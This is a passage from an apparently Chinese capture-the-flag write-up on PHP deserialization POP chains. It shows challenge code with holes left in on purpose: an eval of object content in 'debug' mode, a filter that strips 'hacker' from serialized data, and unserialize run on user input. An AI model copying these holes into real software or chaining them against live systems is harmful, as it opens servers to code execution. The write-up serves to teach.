</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> close</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ===</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">debug</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> !</span><span style=\"color:#998418;--shiki-dark:#B8A965\">empty</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">            @</span><span style=\"color:#998418;--shiki-dark:#B8A965\">eval</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> else</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> DateFormatter</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> format</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timestamp</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> date</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Y-m-d H:i:s</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timestamp</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> UserProfile</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">username</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">bio</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">preference</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">u</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">username</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">u</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">bio</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">preference</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> DateFormatter</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> DataSanitizer</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> static</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> clean</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">input</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> str_replace</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">hacker</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">input</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_POST</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ??</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_POST</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">bio</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ??</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sec</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> SecurityProvider</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sec</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">verify</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sec</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">verify</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">profile</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> UserProfile</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">profile</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 4096</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        die</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Data too long</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">safe_data</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> DataSanitizer</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">::</span><span style=\"color:#59873A;--shiki-dark:#80A665\">clean</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">unserialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> unserialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">safe_data</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">unserialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> instanceof</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> UserProfile</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Profile loaded for </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> htmlspecialchars</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">unserialized</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">username</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>以上为题目内容，分析完我们应该能看出来哪些是构造pop链所必需的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> LogService</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">formatter</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">formatter</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> DateFormatter</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span 